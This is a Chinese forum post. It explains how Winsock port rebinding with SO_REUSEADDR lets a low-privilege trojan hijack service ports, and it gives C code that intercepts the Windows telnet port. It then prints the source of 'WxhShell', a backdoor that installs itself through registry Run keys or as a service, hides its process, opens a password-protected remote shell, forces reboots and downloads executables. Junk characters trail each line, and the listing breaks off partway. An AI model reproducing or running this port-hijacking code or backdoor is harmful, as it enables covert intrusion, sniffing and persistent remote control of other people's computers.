社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18224阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L}h?nWm8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '\(Us^Ug  
` Xhj7%>  
  saddr.sin_family = AF_INET; -N<s =  
N$aLCX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T6=c9f?7  
RI!!?hYm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cWl  
B# |w}hj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $ii/Q:w T"  
Om0Z\GP=  
  这意味着什么?意味着可以进行如下的攻击: @.yp IE\  
?SK1*; i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !>TVDN>  
4`o_r%   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3!_y@sWx  
*NS:X7p!V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;2(8&.  
- jfZLO4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &?"(al?  
\l?\%aqm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VU J*\Sg  
v(W$\XH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JfxD-9U^>u  
Jt\?,~,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T6=,A }t-  
6{B$_Usg  
  #include OIGu`%~js  
  #include -GLI$_lLF  
  #include ts`c_hH,1'  
  #include    {f((x1{HZx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^q-]."W]t~  
  int main() q(p]6Ha|  
  { H5'/i;  
  WORD wVersionRequested; 4:.yE|@h[  
  DWORD ret; kO{A]LnAH  
  WSADATA wsaData; U$Z)v1&{  
  BOOL val; mHrt)0\_  
  SOCKADDR_IN saddr; >'iXwe-  
  SOCKADDR_IN scaddr; L9M0vkgri  
  int err; F.i*'x0u  
  SOCKET s; 0-M.>fwZ=  
  SOCKET sc; \b95CU  
  int caddsize; .K]n<+zW  
  HANDLE mt; "_WOt Jr  
  DWORD tid;   =+% QfuK  
  wVersionRequested = MAKEWORD( 2, 2 ); S@* lI2  
  err = WSAStartup( wVersionRequested, &wsaData ); :V*c9,>ZO  
  if ( err != 0 ) { wa-#C,R\_#  
  printf("error!WSAStartup failed!\n"); "#\\p~D/<  
  return -1; :*u .=^  
  } 9gVu:o 1/  
  saddr.sin_family = AF_INET; v^1_'P AXu  
   k%YvJXL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ShbW[*5  
V]dzKNFi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Clr~:2g\  
  saddr.sin_port = htons(23); ?9'Ukw` g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xb6X'rY  
  { }K1v=k  
  printf("error!socket failed!\n"); ad+@2-Y  
  return -1; P /|2s  
  } m>B^w)&C  
  val = TRUE; hg[ob+"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %"B+;{y(5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L9ECF;)  
  { MKzIY:u g  
  printf("error!setsockopt failed!\n"); O W`yv  
  return -1; 8MqKS}\H  
  } J:LwO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "i0{E!,XL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,j\1UAa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =$xxkc.~G  
@'>h P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^h #0e:7<  
  { 7%DA0.g  
  ret=GetLastError(); "I+71Ce  
  printf("error!bind failed!\n"); }TE4)vXs  
  return -1; 7vO3+lT/Y;  
  } i E p{  
  listen(s,2); uvC ![j^~  
  while(1) 9jW/"  
  { M9so3L<N0  
  caddsize = sizeof(scaddr); $fZVh%  
  //接受连接请求 w6FtDl$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P(AcDG6K  
  if(sc!=INVALID_SOCKET) |rW,:&;  
  { n1n->l*HGP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s\&qvL1D  
  if(mt==NULL) Ot,eAiaX  
  { ukNB#2 "  
  printf("Thread Creat Failed!\n"); H{qQ8 j)  
  break; is`O,Met  
  } N~Zcrt_D  
  } R8ZI}C1  
  CloseHandle(mt); En-BT0o  
  } (Klvctoy  
  closesocket(s); =, kH(rp2  
  WSACleanup(); >wx1M1  
  return 0; f4{O~?=  
  }   <E/"v  
  DWORD WINAPI ClientThread(LPVOID lpParam) wP:ab  
  { ^}Vx5[  
  SOCKET ss = (SOCKET)lpParam; VaKBS/y"  
  SOCKET sc; ~Psv[b=]  
  unsigned char buf[4096]; uRIa Nwohv  
  SOCKADDR_IN saddr; !<'0 GOl  
  long num; Qn0 1ig  
  DWORD val; (rFXzCI  
  DWORD ret; `wrN$&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +2X q+P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wP-BaB$_  
  saddr.sin_family = AF_INET; Y243mq-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L{)*evBL  
  saddr.sin_port = htons(23); ]rAaErB';  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N-C=O  
  { lHl1Ny\?  
  printf("error!socket failed!\n"); J+IkTqw  
  return -1; -bJC+Yn  
  } #i6ZY^+ee  
  val = 100; >2kjd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Owt|vceT  
  { f\c m84  
  ret = GetLastError(); v>ygr8+C,  
  return -1; [&_c.ti  
  } #ArMX3^+w7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d4(!9O.\  
  { w+ MCOAB  
  ret = GetLastError(); !u0|{6U  
  return -1; (zv)cw%  
  } (>.+tq}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~m0l_:SF  
  { pXL@&]U+  
  printf("error!socket connect failed!\n"); b Ag>;e(  
  closesocket(sc); j=>:{`*c  
  closesocket(ss); /U1&#"P  
  return -1; w]-,X`  
  } H<YhO&D*u  
  while(1) Ic!8$NhRS  
  { L"Vi:zdp  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f3bZ*G%f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B`I9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fG{ 9doUD  
  num = recv(ss,buf,4096,0); d]bM,`K* 6  
  if(num>0) H6fR6Kr4j  
  send(sc,buf,num,0); XMJEIG  
  else if(num==0) cx_.+R  
  break; aNcuT,=(?8  
  num = recv(sc,buf,4096,0); estDW1i)  
  if(num>0) Qx{[#[Da  
  send(ss,buf,num,0); (=de#wh2]  
  else if(num==0) 6<%W 8m\  
  break; e 9p+  
  } t93iU?Z  
  closesocket(ss); wfE%` 1  
  closesocket(sc); Z{#;my*X|  
  return 0 ; B%~D`[~?  
  } \@%sX24D  
~-dL #;  
,sn/FT^; q  
========================================================== k~P{Rm;F  
rEWPVT  
下边附上一个代码,,WXhSHELL OI0tgkG  
W5#5RK"uX  
========================================================== ga#Yd}G^~3  
O7KR~d  
#include "stdafx.h" c"<bq}L7S  
N=?! ~n9Q-  
#include <stdio.h> fBZ\,  
#include <string.h> 3aK/5)4|B  
#include <windows.h> BAUo`el5  
#include <winsock2.h> !uno!wUIYd  
#include <winsvc.h> `;'fCO!  
#include <urlmon.h> [>pqf  
HJV8P2f8`  
#pragma comment (lib, "Ws2_32.lib") QqS?-   
#pragma comment (lib, "urlmon.lib") "-tTN  
P@RUopu,i  
#define MAX_USER   100 // 最大客户端连接数 G\HU%J  
#define BUF_SOCK   200 // sock buffer r]0UF0#  
#define KEY_BUFF   255 // 输入 buffer [u=DAk?8  
K9BoIHo  
#define REBOOT     0   // 重启 TAXl73j_CY  
#define SHUTDOWN   1   // 关机 ~582'-=+  
KPT@I3P  
#define DEF_PORT   5000 // 监听端口 p]7Gj &a  
;4g_~fB  
#define REG_LEN     16   // 注册表键长度 #9Fe,  
#define SVC_LEN     80   // NT服务名长度 OP-%t\sj>  
/p&)bL  
// 从dll定义API @|2}*_3\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (ex^=fv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); guD?~-Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lQ}e"#<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &dC #nw  
@3 UVl^T  
// wxhshell配置信息 =XT'D@q~W  
struct WSCFG { wu2AhMGmw  
  int ws_port;         // 监听端口 h/CF^0m"!  
  char ws_passstr[REG_LEN]; // 口令 E?& x5?  
  int ws_autoins;       // 安装标记, 1=yes 0=no bhFAt1h  
  char ws_regname[REG_LEN]; // 注册表键名 rI[Lg0S  
  char ws_svcname[REG_LEN]; // 服务名 ]:Q7Gys  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }PR^Dj.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K%p*:P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /&+6nOP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fGv`.T_d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ItoSORVV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HxVQeyOR  
})l+-H"  
}; yk5T"# '+  
[SW@"C!  
// default Wxhshell configuration ,u,]ab  
struct WSCFG wscfg={DEF_PORT, $LPu_FJ  
    "xuhuanlingzhe",  xYMNyj~  
    1, JMMsOA_]  
    "Wxhshell", J{Z-4y  
    "Wxhshell", \I\'c.$I.Y  
            "WxhShell Service", @QAyXwp  
    "Wrsky Windows CmdShell Service", 6$'6x2,  
    "Please Input Your Password: ", aE_)iE|  
  1, OGy/8B2c  
  "http://www.wrsky.com/wxhshell.exe", p,?8s%  
  "Wxhshell.exe" '9,14e6   
    }; lB\ "*K;  
S*H :/Ip  
// 消息定义模块 bW`@9 =E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [xXml On!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6g ,U+~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $Xlyc.8YId  
char *msg_ws_ext="\n\rExit."; r|Y|u v0  
char *msg_ws_end="\n\rQuit."; tk^1Ga3  
char *msg_ws_boot="\n\rReboot..."; ,x+_/kqx  
char *msg_ws_poff="\n\rShutdown..."; %qzpt{'?<  
char *msg_ws_down="\n\rSave to "; 4*UoTE-g$  
{PM)D [$i  
char *msg_ws_err="\n\rErr!"; X;5U@l  
char *msg_ws_ok="\n\rOK!"; tVhY=X{N?  
@"}dbW<DV  
char ExeFile[MAX_PATH]; t[6g9e$  
int nUser = 0; ;+-$=l3[a  
HANDLE handles[MAX_USER]; ]|q\^k)JU  
int OsIsNt; i\S } aCm  
[@}{sH(#Ta  
SERVICE_STATUS       serviceStatus; }lgqRg)F9[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X$O,L[] 4  
JlsRP  
// 函数声明 NgKbf vt  
int Install(void); %J `;  
int Uninstall(void); xDBEs*  
int DownloadFile(char *sURL, SOCKET wsh); F<?e79},`  
int Boot(int flag); I`44}oJ  
void HideProc(void); XM/P2=;  
int GetOsVer(void); GLb}_-|  
int Wxhshell(SOCKET wsl); ;G.m;5A  
void TalkWithClient(void *cs); g<s[6yA  
int CmdShell(SOCKET sock); *@Z/L26s;=  
int StartFromService(void); ay2 m!s Q  
int StartWxhshell(LPSTR lpCmdLine); Rg&6J#h  
z[Kxy1,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +w/Ax[K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ep}KIBBO  
O.=~/!(  
// 数据结构和表定义 %E7+W{?*1  
SERVICE_TABLE_ENTRY DispatchTable[] = US)wr  
{ ->}K-n ),  
{wscfg.ws_svcname, NTServiceMain}, qEE3 x>&T]  
{NULL, NULL} z9$x9u  
}; i:WHql"Kw_  
~?vm97l  
// 自我安装 :~^ec|tp  
int Install(void) qy@gW@IU  
{   [E(DGt  
  char svExeFile[MAX_PATH]; -p>KFHj6  
  HKEY key; ewgcpV|spn  
  strcpy(svExeFile,ExeFile); @2 dp5  
rsf A.o  
// 如果是win9x系统,修改注册表设为自启动 K0]'v>AWr  
if(!OsIsNt) { w\;=3C`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?ZSG4La\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &a8#qv"l  
  RegCloseKey(key); I TJ>[c]x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `sN3iD!@R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ew4IAF  
  RegCloseKey(key); @hm %0L  
  return 0; TE*$NxQ 2  
    } 0+8ThZ?n  
  } %_1~z[Dv  
} /-$`GT?l  
else { j:|60hDz^  
mf@YmKbp  
// 如果是NT以上系统,安装为系统服务 -3Vx jycY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  | qHWM  
if (schSCManager!=0) $BE^'5G&4Y  
{  ~u8}s4  
  SC_HANDLE schService = CreateService aQN`C {nY  
  ( #rV=!j||  
  schSCManager, @DkPJla&  
  wscfg.ws_svcname, ok'0Byo  
  wscfg.ws_svcdisp, )1j~(C)E8  
  SERVICE_ALL_ACCESS, ;ijJ%/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e=Kv[R'(M  
  SERVICE_AUTO_START, c6s(f  
  SERVICE_ERROR_NORMAL, c0<Y017sG  
  svExeFile, `Dh%c%j)  
  NULL, N>Y`>5  
  NULL, GU'5`Yzd9  
  NULL, f\~e&`PV  
  NULL, [ZURs3q  
  NULL p`1d'n[  
  ); h1K 3A5  
  if (schService!=0) 6FSw_[)  
  { X@9_ukdpu  
  CloseServiceHandle(schService); 2k"a%#H8  
  CloseServiceHandle(schSCManager); /~7H<^}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :c)<B@NqNo  
  strcat(svExeFile,wscfg.ws_svcname); 30>TxL=&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Eg-b5Z);  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tb/u@}")  
  RegCloseKey(key); *&UVr  
  return 0; y%TR2CvT  
    } Jkm\{;  
  } <l wI|<  
  CloseServiceHandle(schSCManager); I6y&6g  
} 9z'</tJ`  
} 6{azzk8  
K^{`8E&A  
return 1; Cqg}dXn'  
} 2y_rsu\  
J~gfMp.  
// 自我卸载 f`A  
int Uninstall(void) r-N2*uYtu  
{ f,M$>!$V  
  HKEY key; AV d  
^#3$C?d  
if(!OsIsNt) { #yr19i ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {   |J(]  
  RegDeleteValue(key,wscfg.ws_regname); mu"]B]  
  RegCloseKey(key); .j}u'!LKul  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rdt8jY6F/  
  RegDeleteValue(key,wscfg.ws_regname); ;%dkwKO  
  RegCloseKey(key); i'e^[oZ  
  return 0; ;\<?LTp/r  
  } Z(as@gj H  
} `t!iknOQ$  
} aGpRdF1;!  
else { zo} SS[  
Vg \-^$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a _  
if (schSCManager!=0) 5)$U<^uy  
{ :-"J)^V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {]D!@87  
  if (schService!=0) x ;Gyo  
  { k}lx!Ck  
  if(DeleteService(schService)!=0) { Z7.)[ ;  
  CloseServiceHandle(schService); R@VO3zsW  
  CloseServiceHandle(schSCManager); 8!UZ..  
  return 0; f6|3| +  
  } iU%Gvf^?'5  
  CloseServiceHandle(schService); HENCQ_Wra  
  } )&R;!#;5  
  CloseServiceHandle(schSCManager); ['R=@.  
} hLm9"N'Pf  
} B.P64"w  
hq,;H40%/  
return 1; [tD*\\IA  
} iBo-ANnK9  
Uw&+zJ  
// 从指定url下载文件 <q[ *kr  
int DownloadFile(char *sURL, SOCKET wsh) t&P5Zw*B  
{ _)_XO92~  
  HRESULT hr; l?FNYvL  
char seps[]= "/"; C>K/C!5?  
char *token; s}z,{Y$-t  
char *file; X!2|_  
char myURL[MAX_PATH]; }SN'*w@E  
char myFILE[MAX_PATH]; 'h= >ej*  
*e>:K$r  
strcpy(myURL,sURL); e0$mu?wd-  
  token=strtok(myURL,seps); bR8)s{p6  
  while(token!=NULL) SD.ze(P  
  { OT *W]f  
    file=token; GzB%vsv9 5  
  token=strtok(NULL,seps); "V^jAPDXb  
  } %[Ds-my2  
I^ >zr.z A  
GetCurrentDirectory(MAX_PATH,myFILE); #=(op?]  
strcat(myFILE, "\\"); fXe-U='  
strcat(myFILE, file); W1 Qc1T8  
  send(wsh,myFILE,strlen(myFILE),0); "zbE  
send(wsh,"...",3,0); s?k[_|)!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d&`j 8O  
  if(hr==S_OK) jm\#($gl=  
return 0; sE6J:m(  
else \aIy68rH,  
return 1; %%6 ('wi  
c'";3 6y  
} V%lGJ]ZEa  
:N*T2mP  
// 系统电源模块 =joXP$n^  
int Boot(int flag) j_@3a)[NY  
{ v\,%)Z/  
  HANDLE hToken; \F~Cbj+'Nu  
  TOKEN_PRIVILEGES tkp; G4' U;  
cg0 0t+  
  if(OsIsNt) { YS~t d+*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9Z'eBp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X vMG09  
    tkp.PrivilegeCount = 1; ?bAFYF0!I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gqRTv_;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); % Au$E&sj  
if(flag==REBOOT) { aa8Qs lm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~aAJn IO  
  return 0; Y,btL'[W  
} f<Tz#w&6W  
else { W"(`n4hi3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UUu-(H-J  
  return 0; *`Xx_   
} }Y`<(V5:  
  } )C]&ui~1  
  else { ?VQLY=?  
if(flag==REBOOT) {  /;6@M=6u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0WE1}.J<  
  return 0; m,C,<I|'d  
} E5G"QnxR>N  
else { vUe *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FK# E7 K  
  return 0; H~ n~5 sF"  
} D1~x  
} dqA[|bV  
~h0BT(p/  
return 1; ([b!$o<v  
} y*h1W4:^-  
#Jz&9I<OKx  
// win9x进程隐藏模块 9zYiG3 d  
void HideProc(void) NjN?RB/5  
{ L8wcH  
@[tV_Z%,b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8sIA;r%S  
  if ( hKernel != NULL ) AAq=,=:R<  
  { F(9 Y/UXH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .*-w UBr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B36puz 0{  
    FreeLibrary(hKernel); OP`Jc$| 6  
  } nVn|$ "r  
UXPegK!  
return; Wk#h,p3  
} E8_Le  
fTV|? :C{  
// 获取操作系统版本 92]ZiL?k  
int GetOsVer(void) _T|H69 J  
{ {lTxB'W@d  
  OSVERSIONINFO winfo; $>"e\L4Kp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `1bX.7K43  
  GetVersionEx(&winfo); |F@xwfgb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x X/s1(P  
  return 1; "lz[zFnO  
  else x2;i< |  
  return 0; .um&6Q=2<  
} ^M"z1B]  
bk"k&.C^+  
// 客户端句柄模块 @D~+D@i$TW  
int Wxhshell(SOCKET wsl) M*|VLOo=v  
{ }"?nU4q;S  
  SOCKET wsh; Zxc7nLKF~  
  struct sockaddr_in client; (s$u_aq 77  
  DWORD myID; ? x"HX|n  
!@<@QG-  
  while(nUser<MAX_USER) N^ s!!Sbpq  
{ p&sK\   
  int nSize=sizeof(client); VkDS&g~Ws  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ft;u\KT  
  if(wsh==INVALID_SOCKET) return 1; 3<Z'F}lg  
=vr Y{5!>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a,'Ncg  
if(handles[nUser]==0) {(z(NgXG/  
  closesocket(wsh); UM( l%  
else jc&/}o$K  
  nUser++; w^])(  
  } qfG tUkSSb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6`qr:.  
Q:kVCm/;  
  return 0; i&pJg1  
} 6b ]1d04hT  
ZEj!jWP2m  
// 关闭 socket /MKNv'5&!%  
void CloseIt(SOCKET wsh) 0SMQDs5j  
{ ]A]Ft!`6z  
closesocket(wsh); n^AP"1l8?0  
nUser--; 7"F|6JP"$c  
ExitThread(0); @q+cm JKv  
} j&dx[4|m:h  
vS$oT]-hKE  
// 客户端请求句柄 &{zwM |Q@?  
void TalkWithClient(void *cs) &I RA=nJ  
{ 5:%..e`T  
Zj1ZU[BEcL  
  SOCKET wsh=(SOCKET)cs; J3~hzgY  
  char pwd[SVC_LEN]; ,](v?v.[4  
  char cmd[KEY_BUFF]; Jh$"fr3  
char chr[1]; B:?#l=FL  
int i,j; df4sOqU  
U=F-] lD  
  while (nUser < MAX_USER) { 4|6&59?pnc  
"7kgez#Y  
if(wscfg.ws_passstr) { 6Z(*cf/s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `10X5V@hP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E kBae=  
  //ZeroMemory(pwd,KEY_BUFF); 0R@g(  
      i=0; #vj#! 1  
  while(i<SVC_LEN) { $ZI~8rI~  
$5lW)q A  
  // 设置超时 =[P%_v``  
  fd_set FdRead; .-SF$U_P*a  
  struct timeval TimeOut; N7*CP|?E  
  FD_ZERO(&FdRead); ]*2EK9<  
  FD_SET(wsh,&FdRead); L\b]k,Ksf  
  TimeOut.tv_sec=8; _%wK}eH+sy  
  TimeOut.tv_usec=0; k,,!P""  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 731h ~x!u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (0E U3w?]  
Vk-W8[W 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~reQV6oQua  
  pwd=chr[0]; .3{[_iTM  
  if(chr[0]==0xd || chr[0]==0xa) { 2{t)DUs  
  pwd=0; {)B9Z I{+A  
  break; 'e.q 7Jpd  
  } w"cM<Ewu  
  i++; 4%wq:y< )/  
    } $D QD$  
.pZo(*  
  // 如果是非法用户,关闭 socket (2z%U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3sZ,|,ueD  
} >Hi h  
g/IH|Z=A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w]};0v&\~s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3`58ah  
;>9OgO  
while(1) { ^^G-kg  
.OmQ'  
  ZeroMemory(cmd,KEY_BUFF); ?k{|Lk  
L5Urg*GNL  
      // 自动支持客户端 telnet标准   - <J q  
  j=0; 8f?rEI\0GD  
  while(j<KEY_BUFF) { m@ i2#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hPa n  
  cmd[j]=chr[0]; 0VzXDb>`  
  if(chr[0]==0xa || chr[0]==0xd) { nQ5N=l  
  cmd[j]=0; [ njx7d  
  break; XtCoX\da  
  } %_R$K#T^,  
  j++; \n#]%X5c  
    } Hqvc7-c6  
>b>M Km>q  
  // 下载文件 NEA_Plt  
  if(strstr(cmd,"http://")) { [%)@|^hw91  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); * [tc  
  if(DownloadFile(cmd,wsh)) 6|,e%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <tFSF%vG=  
  else pd d|n2q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Gsw-a;a  
  } uie~'K\y  
  else { [UMLx  
9C_*3?6  
    switch(cmd[0]) { s=MT,  
  -b cG[W3  
  // 帮助 Iz#yQ`  
  case '?': { %yp5DD}|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NZ>7dJ  
    break; CoU3S,;*  
  } Y}ng_c  
  // 安装 e RA7i  
  case 'i': { dFQ o  
    if(Install()) `gt:gx>a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4E2yH6l  
    else ejVdxVr\7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5MxH)~VQoM  
    break; CWs: l3_yn  
    } ! .AhzU1%Y  
  // 卸载 %JQ~!3  
  case 'r': { Va7c#P?  
    if(Uninstall()) ~LbS~_\C=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O#Z/+\U  
    else )!e3.C|V1W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 ~~qAoD  
    break; ^] 6M["d/p  
    } ABc)2"i:*  
  // 显示 wxhshell 所在路径 /}Yqf`CZy  
  case 'p': { Hle\ON  
    char svExeFile[MAX_PATH]; :r&iM b:Ra  
    strcpy(svExeFile,"\n\r"); wUoiXi09  
      strcat(svExeFile,ExeFile); Q"%QQo}}  
        send(wsh,svExeFile,strlen(svExeFile),0); Bz+.Qa+  
    break; 2{-!E ^g  
    } |QVr `tE<  
  // 重启 ;K_}A4K  
  case 'b': { <FUon  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D*\v0=P'?  
    if(Boot(REBOOT))  R:~(Z?  
